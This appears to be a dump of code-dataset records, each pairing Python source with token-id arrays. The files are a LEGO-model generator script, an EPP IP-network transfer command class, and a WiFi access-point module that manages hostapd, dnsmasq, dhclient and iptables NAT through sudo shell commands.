1405, 285, 1664, 29918, 2764, 29918, 791, 29901, 13, 18884, 4331, 353, 1375, 29898, 29943, 3035, 1001, 29918, 12648, 29918, 1254, 15488, 29892, 1583, 29889, 29888, 1664, 29918, 5182, 29918, 791, 448, 285, 1664, 29918, 2764, 29918, 791, 29897, 13, 9651, 25342, 1583, 29889, 29888, 1664, 29918, 5182, 29918, 791, 529, 285, 1664, 29918, 2764, 29918, 791, 29901, 13, 18884, 4331, 353, 448, 1195, 29898, 29943, 3035, 1001, 29918, 12648, 29918, 1254, 15488, 29892, 285, 1664, 29918, 2764, 29918, 791, 448, 1583, 29889, 29888, 1664, 29918, 5182, 29918, 791, 29897, 13, 9651, 1683, 29901, 13, 18884, 4331, 353, 29871, 29900, 13, 13, 9651, 285, 1664, 29918, 2764, 29918, 791, 4619, 4331, 13, 9651, 565, 6425, 29898, 10568, 29897, 1405, 29871, 29900, 29901, 13, 18884, 363, 285, 1664, 297, 1583, 29889, 29888, 1664, 29918, 29886, 1144, 29901, 13, 462, 1678, 285, 1664, 29889, 29881, 329, 29891, 29898, 29888, 1664, 29918, 2764, 29918, 791, 29897, 13, 13, 9651, 7272, 408, 948, 3934, 29889, 17059, 29918, 1516, 29898, 29943, 3035, 1001, 29918, 2287, 18799, 29918, 4345, 29897, 13, 2 ]
proceduralbricks/main.py
jncraton/procedural-bricks
0
71547
from random import random from buildings import ModularBuilding def main(): building = ModularBuilding() with open('test.ldr', 'w') as out: out.write(building.to_ldr()) if __name__ == '__main__': main()
[ 1, 515, 4036, 1053, 4036, 13, 13, 3166, 13814, 1053, 3382, 1070, 8893, 292, 13, 13, 1753, 1667, 7295, 13, 29871, 5214, 353, 3382, 1070, 8893, 292, 580, 13, 13, 29871, 411, 1722, 877, 1688, 29889, 430, 29878, 742, 525, 29893, 1495, 408, 714, 29901, 13, 1678, 714, 29889, 3539, 29898, 25237, 29889, 517, 29918, 430, 29878, 3101, 13, 13, 361, 4770, 978, 1649, 1275, 525, 1649, 3396, 1649, 2396, 13, 29871, 1667, 580, 2 ]
registrobrepp/ipnetwork/brtransferipnetworkcommand.py
ivcmartello/registrobrepp
0
144810
<reponame>ivcmartello/registrobrepp<gh_stars>0 from eppy.doc import EppTransferCommand class BrEppTransferIpNetworkCommand(EppTransferCommand): _path = ('epp', 'command', 'transfer', 'ipnetwork:transfer') def __init__(self, op: str, roid: str): extra_nsmap = {'ipnetwork': 'urn:ietf:params:xml:ns:ipnetwork-1.0'} super(BrEppTransferIpNetworkCommand, self).__init__(op=op, extra_nsmap=extra_nsmap) self.roid = roid
[ 1, 529, 276, 1112, 420, 29958, 440, 4912, 442, 3156, 29914, 1727, 19150, 1030, 407, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 3166, 321, 23717, 29889, 1514, 1053, 382, 407, 4300, 571, 6255, 13, 13, 13, 1990, 1771, 29923, 407, 4300, 571, 29902, 29886, 13724, 6255, 29898, 29923, 407, 4300, 571, 6255, 1125, 13, 1678, 903, 2084, 353, 6702, 29872, 407, 742, 525, 6519, 742, 525, 3286, 571, 742, 525, 666, 11618, 29901, 3286, 571, 1495, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 1015, 29901, 851, 29892, 696, 333, 29901, 851, 1125, 13, 4706, 4805, 29918, 1983, 1958, 353, 11117, 666, 11618, 2396, 525, 595, 29901, 2035, 29888, 29901, 7529, 29901, 3134, 29901, 1983, 29901, 666, 11618, 29899, 29896, 29889, 29900, 10827, 13, 4706, 2428, 29898, 12432, 29923, 407, 4300, 571, 29902, 29886, 13724, 6255, 29892, 1583, 467, 1649, 2344, 12035, 459, 29922, 459, 29892, 4805, 29918, 1983, 1958, 29922, 17833, 29918, 1983, 1958, 29897, 13, 4706, 1583, 29889, 1007, 353, 696, 333, 13, 2 ]
uniflex_module_wifi_flex/ap_daemons.py
wishful-project/wishrem_wifi_flex
0
163392
import logging import datetime import os import signal import subprocess __author__ = "<NAME>" __copyright__ = "Copyright (c) 2017, Faculty of Electrical Engineering and Information Technologies, UKIM, Skopje, Macedonia" __version__ = "0.1.0" __email__ = <EMAIL>" ''' ap_daemons class Controlling the daemon processes used for automation of (re)configuration and communication of the WiFi devices. ''' class ap_daemons(): def __init__(self, interface, macaddr, ipaddr, dnsserver, country): ''' Initialization of the ap_daemons module Args: interface: the used interface macaddr: MAC address of the interface ipaddr: IP address to assign to the interface dnsserv: IP address of used DNS server country: country code for regulation (e.g. DE) ''' self.log = logging.getLogger('AP_daemons') self.interface = interface self.macaddr = macaddr self.ipaddr = ipaddr self.dnsserver = dnsserver self.country = country self.hostap_interface = None self.dnsmasq_pid = None self.hostapd_pid = None self.dhclient_pid = None def start_hostapd(self, config): ''' Starts hostapd daemon based on configuration in the config dictionary Args: config['channel']: the channel to be used config['ssid']: the SSID to be used config['hw_mode']: the hw_mode to be used config['ht_capab']: the ht_capab to be used ''' self.hostap_interface = '/tmp/hostapd-' + self.interface # needed to stop hostapd daemon if exists self.stop_hostapd() self.hostap_interface = '/tmp/hostapd-' + self.interface # reset since stop_hostapd sets it to None hapd_str = ("driver=nl80211\n" "logger_syslog=127\n" "logger_syslog_level=0\n" "logger_stdout=127\n" "logger_stdout_level=0\n" "country_code={}\n" "ieee80211d=1\n" "ieee80211h=1\n" "hw_mode={}\n" "channel={}\n" "interface={}\n" "ctrl_interface={}\n" "preamble=1\n" "wmm_enabled=1\n" "ignore_broadcast_ssid=0\n" "uapsd_advertisement_enabled=1\n" "auth_algs=1\n" "wpa=0\n" "ssid={}\n" "wds_sta=1\n" "bssid={}").format(self.country, config['hw_mode'], config['channel'], self.interface, self.hostap_interface, config['ssid'], self.macaddr) if config['ht_capab']: #todo hapd_str += ("\nieee80211n=1\n" "ht_capab={}\n").format(config['ht_capab']) hapd_file = "hostapd" + self.interface + ".conf" with open(hapd_file, 'w+') as x_file: x_file.write(hapd_str) try: cmd_str = "echo 3600 | sudo tee /proc/sys/net/ipv4/neigh/default/gc_stale_time" self.run_command(cmd_str) except Exception as e: self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e)) try: cmd_str = "sudo hostapd -B -P " + self.hostap_interface + ".pid " + hapd_file self.run_command(cmd_str) cmd_str = "sudo rm " + hapd_file self.run_command(cmd_str) except Exception as e: self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e)) self.hostap_interface = None return False self.log.info("Started hostapd daemon...") return True def stop_hostapd(self): ''' Stops hostapd daemon process. ''' pid = None if self.hostap_interface is not None: try: with open(self.hostap_interface + '.pid', 'r') as f: pid = f.readline() if pid is not None: cmd_str = "sudo kill -15 " + pid self.run_command(cmd_str) except Exception as e: self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e)) self.hostap_interface = None return False self.hostap_interface = None self.log.info("Stopped hostapd daemon...") return True def hostapd_running(self): ''' Checks if hostapd daemon is running. ''' if self.hostap_interface is not None: return True else: return False def start_dnsmasq(self): ''' Starts dnsmasq daemon for the interface self.interface using the dnsserver self.dnsserver ''' self.dnsmasq_pid = '/tmp/dnsmasq-' + self.interface + '.pid' # needed to stop dnsmasq daemon if exists self.stop_dnsmasq() self.dnsmasq_pid = '/tmp/dnsmasq-' + self.interface + '.pid' # reset since stop_dnsmasq sets it to None try: cmd_str = "sudo ip addr flush dev " + self.interface self.run_command(cmd_str) cmd_str = "sudo ip addr add " + self.ipaddr + " dev " + self.interface self.run_command(cmd_str) except Exception as e: self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e)) return False addr_split = self.ipaddr.split(".") addr_base = addr_split[0] + "." + addr_split[1] + "." + addr_split[2] addr_range = addr_base + ".2," + addr_base + ".254,12h" addr_last = addr_split[3].split("/") #try: # cmd_str = "sudo killall dnsmasq" # self.run_command(cmd_str) #except Exception as e: # self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e)) gateway_interface = None try: [rcode, sout, serr] = self.run_command("route | grep '^default' | grep -o '[^ ]*$'") if sout: sout_arr = sout.split("\n") gateway_interface = sout_arr[0].strip() except Exception as e: self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e)) return False print(gateway_interface) if gateway_interface is not None: dns_str = ("no-resolv\n" "interface={}\n" "except-interface=lo\n" "bind-interfaces\n" "dhcp-range={}\n" "server={}").format(self.interface, addr_range, self.dnsserver) dns_file = "dnsmasq" + self.interface + ".conf" with open(dns_file, 'w+') as x_file: x_file.write(dns_str) try: cmd_str = "sudo dnsmasq -x " + self.dnsmasq_pid + " -C " + dns_file self.run_command(cmd_str) cmd_str = "sudo rm " + dns_file self.run_command(cmd_str) except Exception as e: self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e)) self.dnsmasq_pid = None return False try: cmd_str = ("iptables --flush && " "iptables --table nat --flush && " "iptables --delete-chain && " "iptables --table nat --delete-chain && " "iptables --table nat --append POSTROUTING --out-interface {} -j MASQUERADE && " "iptables --append FORWARD --in-interface {} -j ACCEPT && " "sysctl -w net.ipv4.ip_forward=1").format(gateway_interface, self.interface) self.run_command(cmd_str) except Exception as e: self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e)) return False self.log.info("Started dnsmasq daemon...") return True def stop_dnsmasq(self): ''' Stops dnsmasq daemon process. ''' pid = None if self.dnsmasq_pid is not None: try: with open(self.dnsmasq_pid, 'r') as f: pid = f.readline() if pid is not None: cmd_str = "sudo kill -15 " + pid self.run_command(cmd_str) except Exception as e: self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e)) self.dnsmasq_pid = None return False self.dnsmasq_pid = None self.log.info("Stopped dnsmasq daemon...") return True def dnsmasq_running(self): ''' Checks if dnsmasq is running. ''' if self.dnsmasq_pid is not None: return True else: return False def dhclient_renew(self): ''' Starts a dhclient daemon on the interface self.interface. ''' self.dhclient_pid = "/var/run/dhclient-" + self.interface + ".pid" # needed to stop dhclient daemon if exists self.dhclient_stop() self.dhclient_pid = "/var/run/dhclient-" + self.interface + ".pid" # reset since dhclient_stop sets it to None gateway_interface = None try: [rcode, sout, serr] = self.run_command("route | grep '^default' | grep -o '[^ ]*$'") if sout: sout_arr = sout.split("\n") gateway_interface = sout_arr[0].strip() except Exception as e: self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e)) if gateway_interface is not None: try: cmd_str = "sudo dhclient -r " + gateway_interface + " && sudo dhclient " + gateway_interface + " -nw" print(cmd_str) self.run_command(cmd_str) except Exception as e: self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e)) try: cmd_str = "sudo dhclient -r " + self.interface + " -pf " + self.dhclient_pid + " && sudo dhclient " + self.interface + " -pf " + self.dhclient_pid + " -nw" print(cmd_str) self.run_command(cmd_str) except Exception as e: self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e)) return False self.log.info("dhclient renew successfull...") return True def dhclient_stop(self): ''' Stops the dhclient daemon on the interface self.interface. ''' pid = None if self.dhclient_pid is not None: try: with open(self.dhclient_pid, 'r') as f: pid = f.readline() if pid is not None: cmd_str = "sudo kill -15 " + pid self.run_command(cmd_str) except Exception as e: self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e)) self.dhclient_pid = None return False self.dhclient_pid = None self.log.info("Stopped dhclient daemon...") return True def stop_network_manager(self): ''' Stops the network-manager service if running. ''' try: cmd_str = "sudo service network-manager stop" self.run_command(cmd_str) except Exception as e: self.log.error("{} Failed, err_msg: {}".format(datetime.datetime.now(), e)) return False self.log.info("Network manager stopped...") return True def get_hostap_interface(self): ''' Returns the hostap control interface. ''' return self.hostap_interface def run_command(self, command): ''' Runs system commands. ''' sp = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) out, err = sp.communicate() if False: if out: self.log.debug("standard output of subprocess:") self.log.debug(out) if err: self.log.debug("standard error of subprocess:") self.log.debug(err) if err: raise Exception("An error occurred in AP_daemons run_command: %s" % err) return [sp.returncode, out.decode("utf-8"), err.decode("utf-8")]
[ 1, 1053, 12183, 13, 5215, 12865, 13, 5215, 2897, 13, 5215, 7182, 13, 5215, 1014, 5014, 13, 13, 1649, 8921, 1649, 353, 9872, 5813, 11903, 13, 1649, 8552, 1266, 1649, 353, 376, 11882, 1266, 313, 29883, 29897, 29871, 29906, 29900, 29896, 29955, 29892, 14184, 18857, 310, 10513, 16888, 22557, 322, 10343, 8364, 11763, 29892, 10261, 7833, 29892, 4971, 459, 1324, 29892, 4326, 287, 6405, 29908, 13, 1649, 3259, 1649, 353, 376, 29900, 29889, 29896, 29889, 29900, 29908, 13, 1649, 5269, 1649, 353, 529, 26862, 6227, 11903, 13, 13, 12008, 13, 481, 29918, 1388, 331, 787, 770, 13, 1323, 22155, 278, 1146, 9857, 10174, 1304, 363, 3345, 362, 310, 313, 276, 29897, 13305, 322, 12084, 310, 278, 14570, 18800, 9224, 29889, 13, 12008, 13, 13, 1990, 3095, 29918, 1388, 331, 787, 7295, 13, 12, 1753, 4770, 2344, 12035, 1311, 29892, 5067, 29892, 5825, 10030, 29892, 10377, 10030, 29892, 270, 1983, 2974, 29892, 4234, 1125, 13, 12, 12, 12008, 13, 12, 12, 15514, 2133, 310, 278, 3095, 29918, 1388, 331, 787, 3883, 13, 12, 12, 7883, 29901, 13, 12, 12, 12, 13248, 29901, 278, 1304, 5067, 13, 12, 12, 12, 8628, 10030, 29901, 26750, 3211, 310, 278, 5067, 13, 12, 12, 12, 666, 10030, 29901, 5641, 3211, 304, 3566, 304, 278, 5067, 13, 12, 12, 12, 29881, 1983, 2140, 29901, 5641, 3211, 310, 1304, 16332, 1923, 13, 12, 12, 12, 13509, 29901, 4234, 775, 363, 1072, 2785, 313, 29872, 29889, 29887, 29889, 5012, 29897, 13, 12, 12, 12008, 13, 12, 12, 1311, 29889, 1188, 353, 12183, 29889, 657, 16363, 877, 3301, 29918, 1388, 331, 787, 1495, 13, 12, 12, 1311, 29889, 13248, 353, 5067, 13, 12, 12, 1311, 29889, 8628, 10030, 353, 5825, 10030, 13, 12, 12, 1311, 29889, 666, 10030, 353, 10377, 10030, 13, 12, 12, 1311, 29889, 29881, 1983, 2974, 353, 270, 1983, 2974, 13, 12, 12, 1311, 29889, 13509, 353, 4234, 13, 12, 12, 1311, 29889, 3069, 481, 29918, 13248, 353, 6213, 13, 12, 12, 1311, 29889, 29881, 1983, 8247, 29939, 29918, 5935, 353, 6213, 13, 12, 12, 1311, 29889, 3069, 481, 29881, 29918, 5935, 353, 6213, 13, 12, 12, 1311, 29889, 12744, 4645, 29918, 5935, 353, 6213, 13, 13, 12, 1753, 1369, 29918, 3069, 481, 29881, 29898, 1311, 29892, 2295, 1125, 13, 12, 12, 12008, 13, 12, 12, 4763, 29879, 3495, 481, 29881, 1146, 9857, 2729, 373, 5285, 297, 278, 2295, 8600, 13, 12, 12, 7883, 29901, 13, 12, 12, 12, 2917, 1839, 12719, 2033, 29901, 278, 8242, 304, 367, 1304, 13, 12, 12, 12, 2917, 1839, 893, 333, 2033, 29901, 278, 5886, 1367, 304, 367, 1304, 13, 12, 12, 12, 2917, 1839, 26828, 29918, 8513, 2033, 29901, 278, 298, 29893, 29918, 8513, 304, 367, 1304, 29871, 13, 12, 12, 12, 2917, 1839, 400, 29918, 5030, 370, 2033, 29901, 278, 298, 29873, 29918, 5030, 370, 304, 367, 1304, 13, 12, 12, 12008, 13, 12, 12, 1311, 29889, 3069, 481, 29918, 13248, 353, 8207, 7050, 29914, 3069, 481, 29881, 29899, 29915, 718, 1583, 29889, 13248, 396, 4312, 304, 5040, 3495, 481, 29881, 1146, 9857, 565, 4864, 13, 12, 12, 1311, 29889, 9847, 29918, 3069, 481, 29881, 580, 13, 12, 12, 1311, 29889, 3069, 481, 29918, 13248, 353, 8207, 7050, 29914, 3069, 481, 29881, 29899, 29915, 718, 1583, 29889, 13248, 396, 10092, 1951, 5040, 29918, 3069, 481, 29881, 6166, 372, 304, 6213, 13, 12, 12, 29882, 481, 29881, 29918, 710, 353, 4852, 9465, 29922, 12938, 29947, 29900, 29906, 29896, 29896, 29905, 29876, 29908, 13, 12, 12, 12, 29908, 21707, 29918, 9675, 1188, 29922, 29896, 29906, 29955, 29905, 29876, 29908, 13, 12, 12, 12, 29908, 21707, 29918, 9675, 1188, 29918, 5563, 29922, 29900, 29905, 29876, 29908, 13, 12, 12, 12, 29908, 21707, 29918, 25393, 29922, 29896, 29906, 29955, 29905, 29876, 29908, 13, 12, 12, 12, 29908, 21707, 29918, 25393, 29918, 5563, 29922, 29900, 29905, 29876, 29908, 13, 12, 12, 12, 29908, 13509, 29918, 401, 3790, 1012, 29876, 29908, 13, 12, 12, 12, 29908, 347, 3905, 29947, 29900, 29906, 29896, 29896, 29881, 29922, 29896, 29905, 29876, 29908, 13, 12, 12, 12, 29908, 347, 3905, 29947, 29900, 29906, 29896, 29896, 29882, 29922, 29896, 29905, 29876, 29908, 13, 12, 12, 12, 29908, 26828, 29918, 8513, 3790, 1012, 29876, 29908, 13, 12, 12, 12, 29908, 12719, 3790, 1012, 29876, 29908, 13, 12, 12, 12, 29908, 13248, 3790, 1012, 29876, 29908, 13, 12, 12, 12, 29908, 24220, 29918, 13248, 3790, 1012, 29876, 29908, 13, 12, 12, 12, 29908, 1457, 314, 569, 29922, 29896, 29905, 29876, 29908, 13, 12, 12, 12, 29908, 29893, 4317, 29918, 17590, 29922, 29896, 29905, 29876, 29908, 13, 12, 12, 12, 29908, 17281, 29918, 6729, 328, 4384, 29918, 893, 333, 29922, 29900, 29905, 29876, 29908, 29871, 13, 12, 12, 12, 29908, 29884, 2547, 29881, 29918, 328, 1765, 275, 882, 29918, 17590, 29922, 29896, 29905, 29876, 29908, 29871, 13, 12, 12, 12, 29908, 5150, 29918, 284, 3174, 29922, 29896, 29905, 29876, 29908, 29871, 13, 12, 12, 12, 29908, 29893, 3274, 29922, 29900, 29905, 29876, 29908, 29871, 13, 12, 12, 12, 29908, 893, 333, 3790, 1012, 29876, 29908, 29871, 13, 12, 12, 12, 29908, 29893, 6289, 29918, 5173, 29922, 29896, 29905, 29876, 29908, 29871, 13, 12, 12, 12, 29908, 29890, 893, 333, 3790, 29913, 2564, 4830, 29898, 1311, 29889, 13509, 29892, 2295, 1839, 26828, 29918, 8513, 7464, 2295, 1839, 12719, 7464, 1583, 29889, 13248, 29892, 1583, 29889, 3069, 481, 29918, 13248, 29892, 2295, 1839, 893, 333, 7464, 1583, 29889, 8628, 10030, 29897, 13, 13, 12, 12, 361, 2295, 1839, 400, 29918, 5030, 370, 2033, 29901, 396, 29873, 8144, 13, 12, 12, 12, 29882, 481, 29881, 29918, 710, 4619, 4852, 29905, 2786, 3905, 29947, 29900, 29906, 29896, 29896, 29876, 29922, 29896, 29905, 29876, 29908, 13, 12, 12, 12, 12, 29908, 400, 29918, 5030, 370, 3790, 1012, 29876, 2564, 4830, 29898, 2917, 1839, 400, 29918, 5030, 370, 11287, 13, 13, 12, 12, 29882, 481, 29881, 29918, 1445, 353, 376, 3069, 481, 29881, 29908, 718, 1583, 29889, 13248, 718, 11393, 5527, 29908, 13, 12, 12, 2541, 1722, 29898, 29882, 481, 29881, 29918, 1445, 29892, 525, 29893, 29974, 1495, 408, 921, 29918, 1445, 29901, 13, 12, 12, 12, 29916, 29918, 1445, 29889, 3539, 29898, 29882, 481, 29881, 29918, 710, 29897, 13, 13, 12, 12, 2202, 29901, 13, 12, 12, 12, 9006, 29918, 710, 353, 376, 8057, 29871, 29941, 29953, 29900, 29900, 891, 9196, 734, 29872, 847, 15439, 29914, 9675, 29914, 1212, 29914, 666, 29894, 29946, 29914, 484, 1141, 29914, 4381, 29914, 27354, 29918, 303, 744, 29918, 2230, 29908, 13, 12, 12, 12, 1311, 29889, 3389, 29918, 6519, 29898, 9006, 29918, 710, 29897, 13, 12, 12, 19499, 8960, 408, 321, 29901, 13, 12, 12, 12, 1311, 29889, 1188, 29889, 2704, 703, 8875, 18390, 29892, 4589, 29918, 7645, 29901, 6571, 1642, 4830, 29898, 12673, 29889, 12673, 29889, 3707, 3285, 321, 876, 13, 13, 12, 12, 2202, 29901, 13, 12, 12, 12, 9006, 29918, 710, 353, 376, 15360, 3495, 481, 29881, 448, 29933, 448, 29925, 376, 718, 1583, 29889, 3069, 481, 29918, 13248, 718, 11393, 5935, 376, 718, 447, 15926, 29918, 1445, 13, 12, 12, 12, 1311, 29889, 3389, 29918, 6519, 29898, 9006, 29918, 710, 29897, 13, 12, 12, 12, 9006, 29918, 710, 353, 376, 15360, 20241, 376, 718, 447, 15926, 29918, 1445, 13, 12, 12, 12, 1311, 29889, 3389, 29918, 6519, 29898, 9006, 29918, 710, 29897, 13, 12, 12, 19499, 8960, 408, 321, 29901, 13, 12, 12, 12, 1311, 29889, 1188, 29889, 2704, 703, 8875, 18390, 29892, 4589, 29918, 7645, 29901, 6571, 1642, 4830, 29898, 12673, 29889, 12673, 29889, 3707, 3285, 321, 876, 13, 12, 12, 12, 1311, 29889, 3069, 481, 29918, 13248, 353, 6213, 13, 12, 12, 12, 2457, 7700, 13, 13, 12, 12, 1311, 29889, 1188, 29889, 3888, 703, 4763, 287, 3495, 481, 29881, 1146, 9857, 856, 1159, 13, 12, 12, 2457, 5852, 13, 13, 12, 1753, 5040, 29918, 3069, 481, 29881, 29898, 1311, 1125, 13, 12, 12, 12008, 13, 12, 12, 855, 3554, 3495, 481, 29881, 1146, 9857, 1889, 29889, 13, 12, 12, 12008, 13, 12, 12, 5935, 353, 6213, 13, 12, 12, 361, 1583, 29889, 3069, 481, 29918, 13248, 338, 451, 6213, 29901, 13, 12, 12, 12, 2202, 29901, 13, 12, 12, 12, 12, 2541, 1722, 29898, 1311, 29889, 3069, 481, 29918, 13248, 718, 15300, 5935, 742, 525, 29878, 1495, 408, 285, 29901, 23107, 353, 285, 29889, 949, 1220, 580, 13, 12, 12, 12, 12, 361, 23107, 338, 451, 6213, 29901, 13, 12, 12, 12, 12, 12, 9006, 29918, 710, 353, 376, 15360, 12088, 448, 29896, 29945, 376, 718, 23107, 13, 12, 12, 12, 12, 12, 1311, 29889, 3389, 29918, 6519, 29898, 9006, 29918, 710, 29897, 13, 12, 12, 12, 19499, 8960, 408, 321, 29901, 13, 12, 12, 12, 12, 1311, 29889, 1188, 29889, 2704, 703, 8875, 18390, 29892, 4589, 29918, 7645, 29901, 6571, 1642, 4830, 29898, 12673, 29889, 12673, 29889, 3707, 3285, 321, 876, 13, 12, 12, 12, 12, 1311, 29889, 3069, 481, 29918, 13248, 353, 6213, 13, 12, 12, 12, 12, 2457, 7700, 13, 12, 12, 1311, 29889, 3069, 481, 29918, 13248, 353, 6213, 13, 12, 12, 1311, 29889, 1188, 29889, 3888, 703, 20754, 2986, 3495, 481, 29881, 1146, 9857, 856, 1159, 13, 12, 12, 2457, 5852, 13, 13, 12, 1753, 3495, 481, 29881, 29918, 21094, 29898, 1311, 1125, 13, 12, 12, 12008, 13, 12, 12, 5596, 29879, 565, 3495, 481, 29881, 1146, 9857, 338, 2734, 29889, 13, 12, 12, 12008, 13, 12, 12, 361, 1583, 29889, 3069, 481, 29918, 13248, 338, 451, 6213, 29901, 13, 12, 12, 12, 2457, 5852, 13, 12, 12, 2870, 29901, 736, 7700, 13, 13, 12, 1753, 1369, 29918, 29881, 1983, 8247, 29939, 29898, 1311, 1125, 13, 12, 12, 12008, 13, 12, 12, 4763, 29879, 270, 1983, 8247, 29939, 1146, 9857, 363, 278, 5067, 1583, 29889, 13248, 773, 278, 270, 1983, 2974, 1583, 29889, 29881, 1983, 2974, 13, 12, 12, 12008, 13, 12, 12, 1311, 29889, 29881, 1983, 8247, 29939, 29918, 5935, 353, 8207, 7050, 29914, 29881, 1983, 8247, 29939, 29899, 29915, 718, 1583, 29889, 13248, 718, 15300, 5935, 29915, 396, 4312, 304, 5040, 270, 1983, 8247, 29939, 1146, 9857, 565, 4864, 13, 12, 12, 1311, 29889, 9847, 29918, 29881, 1983, 8247, 29939, 580, 13, 12, 12, 1311, 29889, 29881, 1983, 8247, 29939, 29918, 5935, 353, 8207, 7050, 29914, 29881, 1983, 8247, 29939, 29899, 29915, 718, 1583, 29889, 13248, 718, 15300, 5935, 29915, 396, 10092, 1951, 5040, 29918, 29881, 1983, 8247, 29939, 6166, 372, 304, 6213, 13, 12, 12, 2202, 29901, 13, 12, 12, 12, 9006, 29918, 710, 353, 376, 15360, 10377, 28915, 28371, 2906, 376, 718, 1583, 29889, 13248, 13, 12, 12, 12, 1311, 29889, 3389, 29918, 6519, 29898, 9006, 29918, 710, 29897, 13, 12, 12, 12, 9006, 29918, 710, 353, 376, 15360, 10377, 28915, 788, 376, 718, 1583, 29889, 666, 10030, 718, 376, 2906, 376, 718, 1583, 29889, 13248, 13, 12, 12, 12, 1311, 29889, 3389, 29918, 6519, 29898, 9006, 29918, 710, 29897, 13, 12, 12, 19499, 8960, 408, 321, 29901, 13, 12, 12, 12, 1311, 29889, 1188, 29889, 2704, 703, 8875, 18390, 29892, 4589, 29918, 7645, 29901, 6571, 1642, 4830, 29898, 12673, 29889, 12673, 29889, 3707, 3285, 321, 876, 13, 12, 12, 12, 2457, 7700, 13, 12, 12, 13, 12, 12, 10030, 29918, 5451, 353, 1583, 29889, 666, 10030, 29889, 5451, 17350, 1159, 13, 12, 12, 10030, 29918, 3188, 353, 28915, 29918, 5451, 29961, 29900, 29962, 718, 376, 1213, 718, 28915, 29918, 5451, 29961, 29896, 29962, 718, 376, 1213, 718, 28915, 29918, 5451, 29961, 29906, 29962, 13, 12, 12, 10030, 29918, 3881, 353, 28915, 29918, 3188, 718, 11393, 29906, 1699, 718, 28915, 29918, 3188, 718, 11393, 29906, 29945, 29946, 29892, 29896, 29906, 29882, 29908, 13, 12, 12, 10030, 29918, 4230, 353, 28915, 29918, 5451, 29961, 29941, 1822, 5451, 11974, 1159, 13, 13, 12, 12, 29937, 2202, 29901, 13, 12, 12, 29937, 12, 9006, 29918, 710, 353, 376, 15360, 12088, 497, 270, 1983, 8247, 29939, 29908, 29871, 13, 12, 12, 29937, 12, 1311, 29889, 3389, 29918, 6519, 29898, 9006, 29918, 710, 29897, 13, 12, 12, 29937, 19499, 8960, 408, 321, 29901, 13, 12, 12, 29937, 12, 1311, 29889, 1188, 29889, 2704, 703, 8875, 18390, 29892, 4589, 29918, 7645, 29901, 6571, 1642, 4830, 29898, 12673, 29889, 12673, 29889, 3707, 3285, 321, 876, 13, 12, 12, 13, 12, 12, 17062, 1582, 29918, 13248, 353, 6213, 13, 12, 12, 2202, 29901, 13, 12, 12, 12, 29961, 29878, 401, 29892, 13267, 29892, 724, 29878, 29962, 353, 1583, 29889, 3389, 29918, 6519, 703, 13134, 891, 12680, 525, 29985, 4381, 29915, 891, 12680, 448, 29877, 525, 22896, 4514, 29394, 29915, 1159, 13, 12, 12, 12, 361, 13267, 29901, 29871, 13, 12, 12, 12, 12, 29879, 449, 29918, 2749, 353, 13267, 29889, 5451, 14182, 29876, 1159, 13, 12, 12, 12, 12, 17062, 1582, 29918, 13248, 353, 13267, 29918, 2749, 29961, 29900, 1822, 17010, 580, 13, 12, 12, 19499, 8960, 408, 321, 29901, 13, 12, 12, 12, 1311, 29889, 1188, 29889, 2704, 703, 8875, 18390, 29892, 4589, 29918, 7645, 29901, 6571, 1642, 4830, 29898, 12673, 29889, 12673, 29889, 3707, 3285, 321, 876, 13, 12, 12, 12, 2457, 7700, 13, 12, 12, 12, 12, 13, 12, 12, 2158, 29898, 17062, 1582, 29918, 13248, 29897, 13, 12, 12, 361, 28646, 29918, 13248, 338, 451, 6213, 29901, 13, 12, 12, 12, 29881, 1983, 29918, 710, 353, 4852, 1217, 29899, 9778, 29894, 29905, 29876, 29908, 13, 12, 12, 12, 12, 29908, 13248, 3790, 1012, 29876, 29908, 13, 12, 12, 12, 12, 29908, 19499, 29899, 13248, 29922, 417, 29905, 29876, 29908, 13, 12, 12, 12, 12, 29908, 5355, 29899, 1639, 8726, 29905, 29876, 29908, 13, 12, 12, 12, 12, 29908, 12744, 6814, 29899, 3881, 3790, 1012, 29876, 29908, 13, 12, 12, 12, 12, 29908, 2974, 3790, 29913, 2564, 4830, 29898, 1311, 29889, 13248, 29892, 28915, 29918, 3881, 29892, 1583, 29889, 29881, 1983, 2974, 29897, 13, 13, 12, 12, 12, 29881, 1983, 29918, 1445, 353, 376, 29881, 1983, 8247, 29939, 29908, 718, 1583, 29889, 13248, 718, 11393, 5527, 29908, 13, 12, 12, 12, 2541, 1722, 29898, 29881, 1983, 29918, 1445, 29892, 525, 29893, 29974, 1495, 408, 921, 29918, 1445, 29901, 13, 12, 12, 12, 12, 29916, 29918, 1445, 29889, 3539, 29898, 29881, 1983, 29918, 710, 29897, 13, 12, 12, 12, 12, 12, 13, 12, 12, 12, 2202, 29901, 13, 12, 12, 12, 12, 9006, 29918, 710, 353, 376, 15360, 270, 1983, 8247, 29939, 448, 29916, 376, 718, 1583, 29889, 29881, 1983, 8247, 29939, 29918, 5935, 718, 376, 448, 29907, 376, 718, 270, 1983, 29918, 1445, 13, 12, 12, 12, 12, 1311, 29889, 3389, 29918, 6519, 29898, 9006, 29918, 710, 29897, 13, 12, 12, 12, 12, 9006, 29918, 710, 353, 376, 15360, 20241, 376, 718, 270, 1983, 29918, 1445, 13, 12, 12, 12, 12, 1311, 29889, 3389, 29918, 6519, 29898, 9006, 29918, 710, 29897, 13, 12, 12, 12, 19499, 8960, 408, 321, 29901, 13, 12, 12, 12, 12, 1311, 29889, 1188, 29889, 2704, 703, 8875, 18390, 29892, 4589, 29918, 7645, 29901, 6571, 1642, 4830, 29898, 12673, 29889, 12673, 29889, 3707, 3285, 321, 876, 13, 12, 12, 12, 12, 1311, 29889, 29881, 1983, 8247, 29939, 29918, 5935, 353, 